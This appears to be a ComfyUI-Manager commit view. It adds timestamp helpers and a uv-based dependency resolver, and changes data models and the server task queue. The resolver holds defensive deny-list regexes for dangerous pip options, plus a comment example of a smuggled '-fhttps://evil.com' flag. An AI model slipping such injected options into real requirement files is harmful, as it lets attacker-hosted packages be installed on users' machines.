_datetime_available = None
_dt_datetime = None
def _init_datetime():
"""Initialize datetime availability check (lazy, once)."""
global _datetime_available, _dt_datetime
if _datetime_available is not None:
return
try:
import datetime as dt
if hasattr(dt, 'datetime'):
from datetime import datetime as dt_datetime
_dt_datetime = dt_datetime
_datetime_available = True
return
except Exception as e:
logging.debug(f"[ComfyUI-Manager] datetime import failed: {e}")
_datetime_available = False
logging.warning("[ComfyUI-Manager] datetime unavailable, using time module fallback")
def current_timestamp() -> str:
"""
Get current timestamp for logging.
Format: YYYY-MM-DD HH:MM:SS.mmm (or Unix timestamp if fallback)
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
return str(time_module.time()).split('.')[0]
def get_timestamp_for_filename() -> str:
"""
Get timestamp suitable for filenames.
Format: YYYYMMDD_HHMMSS
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y%m%d_%H%M%S')
return time_module.strftime('%Y%m%d_%H%M%S')
def get_timestamp_for_path() -> str:
"""
Get timestamp for path/directory names.
Format: YYYY-MM-DD_HH-MM-SS
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y-%m-%d_%H-%M-%S')
return time_module.strftime('%Y-%m-%d_%H-%M-%S')
def get_backup_branch_name(repo=None) -> str:
"""
Get backup branch name with current timestamp.
Format: backup_YYYYMMDD_HHMMSS (or backup_YYYYMMDD_HHMMSS_N if exists)
Args:
repo: Optional git.Repo object. If provided, checks for name collisions
and adds sequential suffix if needed.
Returns:
Unique backup branch name.
"""
base_name = f'backup_{get_timestamp_for_filename()}'
if repo is None:
return base_name
# Check if branch exists
try:
existing_branches = {b.name for b in repo.list_heads()}
except Exception:
return base_name
if base_name not in existing_branches:
return base_name
# Add sequential suffix
for i in range(1, 100):
new_name = f'{base_name}_{i}'
if new_name not in existing_branches:
return new_name
# Ultimate fallback: use UUID (very unlikely to reach here)
return f'{base_name}_{uuid.uuid4().hex[:6]}'
def get_now():
"""
Get current datetime object.
Returns datetime.now() if available, otherwise a FakeDatetime object
that supports basic operations (timestamp(), strftime()).
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now()
# Fallback: return object with basic datetime-like interface
t = time_module.localtime()
class FakeDatetime:
def timestamp(self):
return time_module.time()
def strftime(self, fmt):
return time_module.strftime(fmt, t)
def isoformat(self):
return time_module.strftime('%Y-%m-%dT%H:%M:%S', t)
return FakeDatetime()
def get_unix_timestamp() -> float:
"""Get current Unix timestamp."""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().timestamp()
return time_module.time()
@@ -0,0 +1,724 @@
"""Unified Dependency Resolver for ComfyUI Manager.
Resolves and installs all node-pack dependencies at once using ``uv pip compile``
followed by ``uv pip install -r``, replacing per-node-pack ``pip install`` calls.
Responsibility scope
--------------------
- Dependency collection, resolution, and installation **only**.
- ``install.py`` execution and ``PIPFixer`` calls are the caller's responsibility.
See Also
--------
- docs/dev/PRD-unified-dependency-resolver.md
- docs/dev/DESIGN-unified-dependency-resolver.md
"""
from __future__ import annotations
import logging
import os
import re
import shutil
import subprocess
import sys
import tempfile
import time
from collections import defaultdict
from dataclasses import dataclass, field
from . import manager_util
logger = logging.getLogger("ComfyUI-Manager")
# ---------------------------------------------------------------------------
# Exceptions
# ---------------------------------------------------------------------------
class UvNotAvailableError(RuntimeError):
"""Raised when neither ``python -m uv`` nor standalone ``uv`` is found."""
# ---------------------------------------------------------------------------
# Data classes
# ---------------------------------------------------------------------------
@dataclass
class PackageRequirement:
"""Individual package dependency."""
name: str # Normalised package name
spec: str # Original spec string (e.g. ``torch>=2.0``)
source: str # Absolute path of the source node pack
@dataclass
class CollectedDeps:
"""Aggregated dependency collection result."""
requirements: list[PackageRequirement] = field(default_factory=list)
skipped: list[tuple[str, str]] = field(default_factory=list)
sources: dict[str, list[tuple[str, str]]] = field(default_factory=dict)
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
extra_index_urls: list[str] = field(default_factory=list)
@dataclass
class LockfileResult:
"""Result of ``uv pip compile``."""
success: bool
lockfile_path: str | None = None
conflicts: list[str] = field(default_factory=list)
stderr: str = ""
@dataclass
class InstallResult:
"""Result of ``uv pip install -r`` (atomic: all-or-nothing)."""
success: bool
installed: list[str] = field(default_factory=list)
skipped: list[str] = field(default_factory=list)
stderr: str = ""
@dataclass
class ResolveResult:
"""Full pipeline result."""
success: bool
collected: CollectedDeps | None = None
lockfile: LockfileResult | None = None
install: InstallResult | None = None
error: str | None = None
# ---------------------------------------------------------------------------
# Resolver
# ---------------------------------------------------------------------------
_TMP_PREFIX = "comfyui_resolver_"
# Security: reject dangerous requirement patterns at line start.
# NOTE: This regex is intentionally kept alongside _INLINE_DANGEROUS_OPTIONS
# because it covers ``@ file://`` via ``.*@\s*file://`` which relies on the
# ``^`` anchor. Both regexes share responsibility for option rejection:
# this one catches line-start patterns; _INLINE_DANGEROUS_OPTIONS catches
# options appearing after a package name.
_DANGEROUS_PATTERNS = re.compile(
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
r'|--find-links\b|-f\b|.*@\s*file://)',
re.IGNORECASE,
)
# Security: reject dangerous pip options appearing anywhere in the line
# (supplements the ^-anchored _DANGEROUS_PATTERNS which only catches line-start).
# The ``(?:^|\s)`` prefix prevents false positives on hyphenated package names
# (e.g. ``re-crypto``, ``package[extra-c]``) while still catching concatenated
# short-flag attacks like ``-fhttps://evil.com``.
_INLINE_DANGEROUS_OPTIONS = re.compile(
r'(?:^|\s)(--find-links\b|--constraint\b|--requirement\b|--editable\b'
r'|--trusted-host\b|--global-option\b|--install-option\b'
r'|-f|-r|-e|-c)',
re.IGNORECASE,
)
# Credential redaction in index URLs.
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
# Version-spec parsing (same regex as existing ``is_blacklisted()``).
_VERSION_SPEC_PATTERN = re.compile(r'([^<>!~=]+)([<>!~=]=?)([^ ]*)')
def collect_node_pack_paths(custom_nodes_dirs: list[str]) -> list[str]:
"""Collect all installed node-pack directory paths.
Parameters
----------
custom_nodes_dirs:
Base directories returned by ``folder_paths.get_folder_paths('custom_nodes')``.
Returns
-------
list[str]
Paths of node-pack directories (immediate subdirectories of each base).
"""
paths: list[str] = []
for base in custom_nodes_dirs:
if os.path.isdir(base):
for name in os.listdir(base):
fullpath = os.path.join(base, name)
if os.path.isdir(fullpath):
paths.append(fullpath)
return paths
def collect_base_requirements(comfy_path: str) -> list[str]:
"""Read ComfyUI's own base requirements as constraint lines.
Reads ``requirements.txt`` and ``manager_requirements.txt`` from *comfy_path*.
These are ComfyUI-level dependencies only — never read from node packs.
Parameters
----------
comfy_path:
Root directory of the ComfyUI installation.
Returns
-------
list[str]
Non-empty, non-comment requirement lines.
"""
reqs: list[str] = []
for filename in ("requirements.txt", "manager_requirements.txt"):
req_path = os.path.join(comfy_path, filename)
if os.path.exists(req_path):
with open(req_path, encoding="utf-8") as f:
reqs.extend(
line.strip() for line in f
if line.strip() and not line.strip().startswith('#')
)
return reqs
class UnifiedDepResolver:
"""Unified dependency resolver.
Resolves and installs all dependencies of (installed + new) node packs at
once using *uv*.
Parameters
----------
node_pack_paths:
Absolute paths of node-pack directories to consider.
base_requirements:
Lines from ComfyUI's own ``requirements.txt`` (used as constraints).
blacklist:
Package names to skip unconditionally (default: ``cm_global.pip_blacklist``).
overrides:
Package-name remapping dict (default: ``cm_global.pip_overrides``).
downgrade_blacklist:
Packages whose installed versions must not be downgraded
(default: ``cm_global.pip_downgrade_blacklist``).
"""
def __init__(
self,
node_pack_paths: list[str],
base_requirements: list[str] | None = None,
blacklist: set[str] | None = None,
overrides: dict[str, str] | None = None,
downgrade_blacklist: list[str] | None = None,
) -> None:
self.node_pack_paths = node_pack_paths
self.base_requirements = base_requirements or []
self.blacklist: set[str] = blacklist if blacklist is not None else set()
self.overrides: dict[str, str] = overrides if overrides is not None else {}
self.downgrade_blacklist: list[str] = (
downgrade_blacklist if downgrade_blacklist is not None else []
)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def resolve_and_install(self) -> ResolveResult:
"""Execute the full pipeline: cleanup → collect → compile → install."""
self.cleanup_stale_tmp()
tmp_dir: str | None = None
try:
# 1. Collect
collected = self.collect_requirements()
if not collected.requirements:
logger.info("[UnifiedDepResolver] No dependencies to resolve")
return ResolveResult(success=True, collected=collected)
logger.info(
"[UnifiedDepResolver] Collected %d deps from %d sources (skipped %d)",
len(collected.requirements),
len(collected.sources),
len(collected.skipped),
)
# 2. Compile
lockfile = self.compile_lockfile(collected)
if not lockfile.success:
return ResolveResult(
success=False,
collected=collected,
lockfile=lockfile,
error=f"compile failed: {'; '.join(lockfile.conflicts)}",
)
# tmp_dir is the parent of lockfile_path
tmp_dir = os.path.dirname(lockfile.lockfile_path) # type: ignore[arg-type]
# 3. Install
install = self.install_from_lockfile(lockfile.lockfile_path) # type: ignore[arg-type]
return ResolveResult(
success=install.success,
collected=collected,
lockfile=lockfile,
install=install,
error=install.stderr if not install.success else None,
)
except UvNotAvailableError:
raise
except Exception as exc:
logger.warning("[UnifiedDepResolver] unexpected error: %s", exc)
return ResolveResult(success=False, error=str(exc))
finally:
if tmp_dir and os.path.isdir(tmp_dir):
shutil.rmtree(tmp_dir, ignore_errors=True)
# ------------------------------------------------------------------
# Step 1: collect
# ------------------------------------------------------------------
def collect_requirements(self) -> CollectedDeps:
"""Collect dependencies from all node packs."""
requirements: list[PackageRequirement] = []
skipped: list[tuple[str, str]] = []
sources: defaultdict[str, list[tuple[str, str]]] = defaultdict(list)
extra_index_urls: list[str] = []
# Snapshot installed packages once to avoid repeated subprocess calls.
# Skip when downgrade_blacklist is empty (the common default).
installed_snapshot = (
manager_util.get_installed_packages()
if self.downgrade_blacklist else {}
)
for pack_path in self.node_pack_paths:
# Exclude disabled node packs (directory-based mechanism).
if self._is_disabled_path(pack_path):
continue
req_file = os.path.join(pack_path, "requirements.txt")
if not os.path.exists(req_file):
continue
for raw_line in self._read_requirements(req_file):
line = raw_line.split('#')[0].strip()
if not line:
continue
# 0. Security: reject dangerous patterns
if _DANGEROUS_PATTERNS.match(line):
skipped.append((line, f"rejected: dangerous pattern in {pack_path}"))
logger.warning(
"[UnifiedDepResolver] rejected dangerous line: '%s' from %s",
line, pack_path,
)
continue
# 1. Separate --index-url / --extra-index-url handling
# (before path separator check, because URLs contain '/')
# URLs are staged but NOT committed until the line passes
# all validation (prevents URL injection from rejected lines).
pending_urls: list[str] = []
if '--index-url' in line or '--extra-index-url' in line:
pkg_spec, pending_urls = self._split_index_url(line)
line = pkg_spec
if not line:
# Standalone option line (no package prefix) — safe
extra_index_urls.extend(pending_urls)
continue
# 1b. Reject dangerous pip options appearing after package name
# (--index-url/--extra-index-url already extracted above)
if _INLINE_DANGEROUS_OPTIONS.search(line):
skipped.append((line, f"rejected: inline pip option in {pack_path}"))
logger.warning(
"[UnifiedDepResolver] rejected inline pip option: '%s' from %s",
line, pack_path,
)
continue
# Reject path separators in package name portion
pkg_name_part = re.split(r'[><=!~;]', line)[0]
if '/' in pkg_name_part or '\\' in pkg_name_part:
skipped.append((line, "rejected: path separator in package name"))
logger.warning(
"[UnifiedDepResolver] rejected path separator: '%s' from %s",
line, pack_path,
)
continue
# 2. Remap package name
pkg_spec = self._remap_package(line)
# 3. Extract normalised name
pkg_name = self._extract_package_name(pkg_spec)
# 4. Blacklist check
if pkg_name in self.blacklist:
skipped.append((pkg_spec, "blacklisted"))
continue
# 5. Downgrade blacklist check
if self._is_downgrade_blacklisted(pkg_name, pkg_spec,
installed_snapshot):
skipped.append((pkg_spec, "downgrade blacklisted"))
continue
# 6. Collect (no dedup — uv handles resolution)
requirements.append(
PackageRequirement(name=pkg_name, spec=pkg_spec, source=pack_path)
)
sources[pkg_name].append((pack_path, pkg_spec))
# Commit staged index URLs only after all validation passed.
if pending_urls:
extra_index_urls.extend(pending_urls)
return CollectedDeps(
requirements=requirements,
skipped=skipped,
sources=dict(sources),
extra_index_urls=list(set(extra_index_urls)),
)
# ------------------------------------------------------------------
# Step 2: compile
# ------------------------------------------------------------------
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
"""Generate pinned requirements via ``uv pip compile``."""
tmp_dir = tempfile.mkdtemp(prefix=_TMP_PREFIX)
try:
# Write temp requirements
tmp_req = os.path.join(tmp_dir, "input-requirements.txt")
with open(tmp_req, "w", encoding="utf-8") as fh:
for req in deps.requirements:
fh.write(req.spec + "\n")
# Write constraints (base dependencies)
tmp_constraints: str | None = None
if self.base_requirements:
tmp_constraints = os.path.join(tmp_dir, "constraints.txt")
with open(tmp_constraints, "w", encoding="utf-8") as fh:
for line in self.base_requirements:
fh.write(line.strip() + "\n")
lockfile_path = os.path.join(tmp_dir, "resolved-requirements.txt")
cmd = self._get_uv_cmd() + [
"pip", "compile",
tmp_req,
"--output-file", lockfile_path,
"--python", sys.executable,
]
if tmp_constraints:
cmd += ["--constraint", tmp_constraints]
for url in deps.extra_index_urls:
logger.info(
"[UnifiedDepResolver] extra-index-url: %s",
self._redact_url(url),
)
cmd += ["--extra-index-url", url]
logger.info("[UnifiedDepResolver] running: %s", " ".join(
self._redact_url(c) for c in cmd
))
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=300,
)
except subprocess.TimeoutExpired:
logger.warning("[UnifiedDepResolver] uv pip compile timed out (300s)")
return LockfileResult(
success=False,
conflicts=["compile timeout exceeded (300s)"],
stderr="TimeoutExpired",
)
if result.returncode != 0:
conflicts = self._parse_conflicts(result.stderr)
return LockfileResult(
success=False,
conflicts=conflicts,
stderr=result.stderr,
)
if not os.path.exists(lockfile_path):
return LockfileResult(
success=False,
conflicts=["lockfile not created despite success return code"],
stderr=result.stderr,
)
return LockfileResult(success=True, lockfile_path=lockfile_path)
except UvNotAvailableError:
shutil.rmtree(tmp_dir, ignore_errors=True)
raise
except Exception:
shutil.rmtree(tmp_dir, ignore_errors=True)
raise
# ------------------------------------------------------------------
# Step 3: install
# ------------------------------------------------------------------
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
"""Install from pinned requirements (``uv pip install -r``).
Do **not** use ``uv pip sync`` — it deletes packages not in the
lockfile, risking removal of torch, ComfyUI deps, etc.
"""
cmd = self._get_uv_cmd() + [
"pip", "install",
"--requirement", lockfile_path,
"--python", sys.executable,
]
logger.info("[UnifiedDepResolver] running: %s", " ".join(cmd))
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=600,
)
except subprocess.TimeoutExpired:
logger.warning("[UnifiedDepResolver] uv pip install timed out (600s)")
return InstallResult(
success=False,
stderr="TimeoutExpired: install exceeded 600s",
)
installed, skipped_pkgs = self._parse_install_output(result)
return InstallResult(
success=result.returncode == 0,
installed=installed,
skipped=skipped_pkgs,
stderr=result.stderr if result.returncode != 0 else "",
)
# ------------------------------------------------------------------
# uv command resolution
# ------------------------------------------------------------------
def _get_uv_cmd(self) -> list[str]:
"""Determine the ``uv`` command to use.
``python_embeded`` spelling is intentional — matches the actual path
name in the ComfyUI Windows distribution.
"""
embedded = 'python_embeded' in sys.executable
# 1. Try uv as a Python module
try:
test_cmd = (
[sys.executable]
+ (['-s'] if embedded else [])
+ ['-m', 'uv', '--version']
)
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv']
except Exception:
pass
# 2. Standalone uv executable
if shutil.which('uv'):
return ['uv']
raise UvNotAvailableError("uv is not available")
# ------------------------------------------------------------------
# Helpers — collection
# ------------------------------------------------------------------
@staticmethod
def _is_disabled_path(path: str) -> bool:
"""Return ``True`` if *path* is within a ``.disabled`` directory."""
# New style: custom_nodes/.disabled/{name}
if '/.disabled/' in path or os.path.basename(os.path.dirname(path)) == '.disabled':
return True
# Old style: {name}.disabled suffix
if path.rstrip('/').endswith('.disabled'):
return True
return False
@staticmethod
def _read_requirements(filepath: str) -> list[str]:
"""Read requirements file using ``robust_readlines`` pattern."""
return manager_util.robust_readlines(filepath)
@staticmethod
def _split_index_url(line: str) -> tuple[str, list[str]]:
"""Split index-url options from a requirement line.
Handles lines with one or more ``--index-url`` / ``--extra-index-url``
options. Returns ``(package_spec, [url, ...])``.
Examples::
"torch --extra-index-url U1 --index-url U2"
→ ("torch", ["U1", "U2"])
"--index-url URL"
→ ("", ["URL"])
"""
urls: list[str] = []
remainder_tokens: list[str] = []
# Regex: match --extra-index-url or --index-url followed by its value
option_re = re.compile(
r'(--(?:extra-)?index-url)\s+(\S+)'
)
# Pattern for bare option flags without a URL value
bare_option_re = re.compile(r'^--(?:extra-)?index-url$')
last_end = 0
for m in option_re.finditer(line):
# Text before this option is part of the package spec
before = line[last_end:m.start()].strip()
if before:
remainder_tokens.append(before)
urls.append(m.group(2))
last_end = m.end()
# Trailing text after last option
trailing = line[last_end:].strip()
if trailing:
remainder_tokens.append(trailing)
# Strip any bare option flags that leaked into remainder tokens
# (e.g. "--index-url" with no URL value after it)
remainder_tokens = [
t for t in remainder_tokens if not bare_option_re.match(t)
]
pkg_spec = " ".join(remainder_tokens).strip()
return pkg_spec, urls
def _remap_package(self, pkg: str) -> str:
"""Apply ``pip_overrides`` remapping."""
if pkg in self.overrides:
remapped = self.overrides[pkg]
logger.info("[UnifiedDepResolver] '%s' remapped to '%s'", pkg, remapped)
return remapped
return pkg
@staticmethod
def _extract_package_name(spec: str) -> str:
"""Extract normalised package name from a requirement spec."""
name = re.split(r'[><=!~;\[@ ]', spec)[0].strip()
return name.lower().replace('-', '_')
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str,
installed: dict) -> bool:
"""Reproduce the downgrade logic from ``is_blacklisted()``.
Uses ``manager_util.StrictVersion`` — **not** ``packaging.version``.
Args:
installed: Pre-fetched snapshot from
``manager_util.get_installed_packages()``.
"""
if pkg_name not in self.downgrade_blacklist:
return False
match = _VERSION_SPEC_PATTERN.search(pkg_spec)
if match is None:
# No version spec: prevent reinstall if already installed
if pkg_name in installed:
return True
elif match.group(2) in ('<=', '==', '<', '~='):
if pkg_name in installed:
try:
installed_ver = manager_util.StrictVersion(installed[pkg_name])
requested_ver = manager_util.StrictVersion(match.group(3))
if installed_ver >= requested_ver:
return True
except (ValueError, TypeError):
logger.warning(
"[UnifiedDepResolver] version parse failed: %s", pkg_spec,
)
return False
return False
# ------------------------------------------------------------------
# Helpers — parsing & output
# ------------------------------------------------------------------
@staticmethod
def _parse_conflicts(stderr: str) -> list[str]:
"""Extract conflict descriptions from ``uv pip compile`` stderr."""
conflicts: list[str] = []
for line in stderr.splitlines():
line = line.strip()
if line and ('conflict' in line.lower() or 'error' in line.lower()):
conflicts.append(line)
return conflicts or [stderr.strip()] if stderr.strip() else []
@staticmethod
def _parse_install_output(
result: subprocess.CompletedProcess[str],
) -> tuple[list[str], list[str]]:
"""Parse ``uv pip install`` stdout for installed/skipped packages."""
installed: list[str] = []
skipped_pkgs: list[str] = []
for line in result.stdout.splitlines():
line_lower = line.strip().lower()
if 'installed' in line_lower or 'updated' in line_lower:
installed.append(line.strip())
elif 'already' in line_lower or 'satisfied' in line_lower:
skipped_pkgs.append(line.strip())
return installed, skipped_pkgs
@staticmethod
def _redact_url(url: str) -> str:
"""Mask ``user:pass@`` credentials in URLs."""
return _CREDENTIAL_PATTERN.sub('://****@', url)
# ------------------------------------------------------------------
# Temp-file housekeeping
# ------------------------------------------------------------------
@classmethod
def cleanup_stale_tmp(cls, max_age_seconds: int = 3600) -> None:
"""Remove stale temp directories from previous abnormal terminations."""
tmp_root = tempfile.gettempdir()
now = time.time()
for entry in os.scandir(tmp_root):
if entry.is_dir() and entry.name.startswith(_TMP_PREFIX):
try:
age = now - entry.stat().st_mtime
if age > max_age_seconds:
shutil.rmtree(entry.path, ignore_errors=True)
logger.info(
"[UnifiedDepResolver] cleaned stale tmp: %s", entry.path,
)
except OSError:
pass
def attribute_conflicts(
sources: dict[str, list[tuple[str, str]]],
conflicts: list[str],
) -> dict[str, list[tuple[str, str]]]:
"""Cross-reference conflict packages with their requesting node packs.
Uses word-boundary regex to prevent false-positive prefix matches
(e.g. ``torch`` does NOT match ``torchvision`` or ``torch_audio``).
"""
conflict_text = "\n".join(conflicts).lower().replace("-", "_")
return {
pkg: reqs
for pkg, reqs in sources.items()
if re.search(
r'(?<![a-z0-9_])' + re.escape(pkg.lower().replace("-", "_")) + r'(?![a-z0-9_])',
conflict_text,
)
}
File diff suppressed because it is too large Load Diff
+14 -2
View File
@@ -30,6 +30,12 @@ from .generated_models import (
InstalledModelInfo,
ComfyUIVersionInfo,
# Import Fail Info Models
ImportFailInfoBulkRequest,
ImportFailInfoBulkResponse,
ImportFailInfoItem,
ImportFailInfoItem1,
# Other models
OperationType,
OperationResult,
@@ -51,7 +57,7 @@ from .generated_models import (
EnablePackParams,
UpdateAllQueryParams,
UpdateComfyUIQueryParams,
ComfyUISwitchVersionQueryParams,
ComfyUISwitchVersionParams,
QueueStatus,
ManagerMappings,
ModelMetadata,
@@ -88,6 +94,12 @@ __all__ = [
"InstalledModelInfo",
"ComfyUIVersionInfo",
# Import Fail Info Models
"ImportFailInfoBulkRequest",
"ImportFailInfoBulkResponse",
"ImportFailInfoItem",
"ImportFailInfoItem1",
# Other models
"OperationType",
"OperationResult",
@@ -109,7 +121,7 @@ __all__ = [
"EnablePackParams",
"UpdateAllQueryParams",
"UpdateComfyUIQueryParams",
"ComfyUISwitchVersionQueryParams",
"ComfyUISwitchVersionParams",
"QueueStatus",
"ManagerMappings",
"ModelMetadata",
@@ -1,6 +1,6 @@
# generated by datamodel-codegen:
# filename: openapi.yaml
# timestamp: 2025-06-27T04:01:45+00:00
# timestamp: 2026-04-19T04:33:23+00:00
from __future__ import annotations
@@ -229,8 +229,8 @@ class UpdateComfyUIQueryParams(BaseModel):
)
class ComfyUISwitchVersionQueryParams(BaseModel):
ver: str = Field(..., description="Version to switch to")
class ComfyUISwitchVersionParams(BaseModel):
ver: str = Field(..., description="Target ComfyUI version tag")
client_id: str = Field(
..., description="Client identifier that initiated the request"
)
@@ -454,6 +454,24 @@ class BatchExecutionRecord(BaseModel):
)
class ImportFailInfoBulkRequest(BaseModel):
cnr_ids: Optional[List[str]] = Field(
None, description="A list of CNR IDs to check."
)
urls: Optional[List[str]] = Field(
None, description="A list of repository URLs to check."
)
class ImportFailInfoItem1(BaseModel):
error: Optional[str] = None
traceback: Optional[str] = None
class ImportFailInfoItem(RootModel[Optional[ImportFailInfoItem1]]):
root: Optional[ImportFailInfoItem1]
class QueueTaskItem(BaseModel):
ui_id: str = Field(..., description="Unique identifier for the task")
client_id: str = Field(..., description="Client identifier that initiated the task")
@@ -484,6 +502,22 @@ class TaskHistoryItem(BaseModel):
end_time: Optional[datetime] = Field(
None, description="ISO timestamp when task execution ended"
)
params: Optional[
Union[
InstallPackParams,
UpdatePackParams,
UpdateAllPacksParams,
UpdateComfyUIParams,
FixPackParams,
UninstallPackParams,
DisablePackParams,
EnablePackParams,
ModelMetadata,
]
] = Field(
None,
description="Original task parameters (mirrors QueueTaskItem.params); null if unavailable",
)
class TaskStateMessage(BaseModel):
@@ -537,3 +571,7 @@ class HistoryResponse(BaseModel):
history: Optional[Dict[str, TaskHistoryItem]] = Field(
None, description="Map of task IDs to their history items"
)
class ImportFailInfoBulkResponse(RootModel[Optional[Dict[str, ImportFailInfoItem]]]):
root: Optional[Dict[str, ImportFailInfoItem]] = None
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+1
View File
@@ -1,6 +1,7 @@
SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_HIGH_P = "ERROR: To use this action, '--listen' must be set to a local IP and security_level must be 'normal-' or lower. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_NORMAL_MINUS = "ERROR: To use this feature, you must either set '--listen' to a local IP and set the security level to 'normal-' or lower, or set the security level to 'middle' or 'weak'. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
File diff suppressed because it is too large Load Diff
+254 -140
View File
@@ -20,12 +20,13 @@ import threading
import traceback
import urllib.request
import uuid
import time
import zipfile
from datetime import datetime, timedelta
from typing import Any, Optional
from comfyui_manager.common.timestamp_utils import get_timestamp_for_filename, get_now
import folder_paths
import latent_preview
import nodes
from aiohttp import web
from comfy.cli_args import args
@@ -47,7 +48,7 @@ from ..common import manager_util
from ..common import cm_global
from ..common import manager_downloader
from ..common import context
from ..common import snapshot_util
from ..data_models import (
@@ -61,6 +62,7 @@ from ..data_models import (
ManagerMessageName,
BatchExecutionRecord,
ComfyUISystemState,
ImportFailInfoBulkRequest,
BatchOperation,
InstalledNodeInfo,
ComfyUIVersionInfo,
@@ -78,13 +80,14 @@ from ..data_models import (
SecurityLevel,
UpdateAllQueryParams,
UpdateComfyUIQueryParams,
ComfyUISwitchVersionQueryParams,
ComfyUISwitchVersionParams,
)
from .constants import (
model_dir_name_map,
SECURITY_MESSAGE_MIDDLE,
SECURITY_MESSAGE_MIDDLE_P,
SECURITY_MESSAGE_HIGH_P,
)
if not manager_util.is_manager_pip_package():
@@ -128,16 +131,6 @@ def error_response(
class ManagerFuncsInComfyUI(core.ManagerFuncs):
def get_current_preview_method(self):
if args.preview_method == latent_preview.LatentPreviewMethod.Auto:
return "auto"
elif args.preview_method == latent_preview.LatentPreviewMethod.Latent2RGB:
return "latent2rgb"
elif args.preview_method == latent_preview.LatentPreviewMethod.TAESD:
return "taesd"
else:
return "none"
def run_script(self, cmd, cwd="."):
if len(cmd) > 0 and cmd[0].startswith("#"):
logging.error(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
@@ -266,9 +259,9 @@ class TaskQueue:
def _start_new_batch(self) -> None:
"""Start a new batch session for tracking operations."""
self.batch_id = (
f"batch_{datetime.now().strftime('%Y%m%d_%H%M%S')}_{uuid.uuid4().hex[:8]}"
f"batch_{get_timestamp_for_filename()}_{uuid.uuid4().hex[:8]}"
)
self.batch_start_time = datetime.now().isoformat()
self.batch_start_time = get_now().isoformat()
self.batch_state_before = self._capture_system_state()
logging.debug("[ComfyUI-Manager] Started new batch: %s", self.batch_id)
@@ -299,7 +292,7 @@ class TaskQueue:
MessageTaskStarted(
ui_id=item.ui_id,
kind=item.kind,
timestamp=datetime.now(),
timestamp=get_now(),
state=self.get_current_state(),
),
client_id=item.client_id, # Send task started only to the client that requested it
@@ -316,8 +309,7 @@ class TaskQueue:
"""Mark task as completed and add to history"""
with self.mutex:
now = datetime.now()
timestamp = now.isoformat()
now = get_now()
# Remove task from running_tasks using the task_index
self.running_tasks.pop(task_index, None)
@@ -344,6 +336,7 @@ class TaskQueue:
status=status,
batch_id=self.batch_id,
end_time=now,
params=item.params,
)
# Force cache refresh for successful pack-modifying operations
@@ -382,7 +375,7 @@ class TaskQueue:
result=result_msg,
kind=item.kind,
status=status,
timestamp=datetime.fromisoformat(timestamp),
timestamp=now,
state=self.get_current_state(),
),
client_id=item.client_id, # Send completion only to the client that requested it
@@ -493,7 +486,7 @@ class TaskQueue:
)
try:
end_time = datetime.now().isoformat()
end_time = get_now().isoformat()
state_after = self._capture_system_state()
operations = self._extract_batch_operations()
@@ -561,7 +554,7 @@ class TaskQueue:
"""Capture current ComfyUI system state for batch record."""
logging.debug("[ComfyUI-Manager] Capturing system state for batch record")
return ComfyUISystemState(
snapshot_time=datetime.now().isoformat(),
snapshot_time=get_now().isoformat(),
comfyui_version=self._get_comfyui_version_info(),
frontend_version=self._get_frontend_version(),
python_version=platform.python_version(),
@@ -665,8 +658,7 @@ class TaskQueue:
def _get_manager_version(self) -> str:
"""Get ComfyUI Manager version."""
try:
version_code = getattr(core, "version_code", [4, 0])
return f"V{version_code[0]}.{version_code[1]}"
return core.version_str
except Exception:
return None
@@ -702,8 +694,6 @@ class TaskQueue:
cli_args["listen"] = args.listen
if hasattr(args, "port"):
cli_args["port"] = args.port
if hasattr(args, "preview_method"):
cli_args["preview_method"] = str(args.preview_method)
if hasattr(args, "enable_manager_legacy_ui"):
cli_args["enable_manager_legacy_ui"] = args.enable_manager_legacy_ui
if hasattr(args, "front_end_version"):
@@ -788,8 +778,8 @@ class TaskQueue:
to avoid disrupting normal operations.
"""
try:
cutoff = datetime.now() - timedelta(days=16)
cutoff_timestamp = cutoff.timestamp()
# 16 days in seconds
cutoff_timestamp = time.time() - (16 * 24 * 60 * 60)
pattern = os.path.join(context.manager_batch_history_path, "batch_*.json")
removed_count = 0
@@ -817,14 +807,6 @@ class TaskQueue:
task_queue = TaskQueue()
# Preview method initialization
if args.preview_method == latent_preview.LatentPreviewMethod.NoPreviews:
environment_utils.set_preview_method(core.get_config()["preview_method"])
else:
logging.warning(
"[ComfyUI-Manager] Since --preview-method is set, ComfyUI-Manager's preview method feature will be ignored."
)
async def task_worker():
logging.debug("[ComfyUI-Manager] Task worker started")
@@ -905,11 +887,13 @@ async def task_worker():
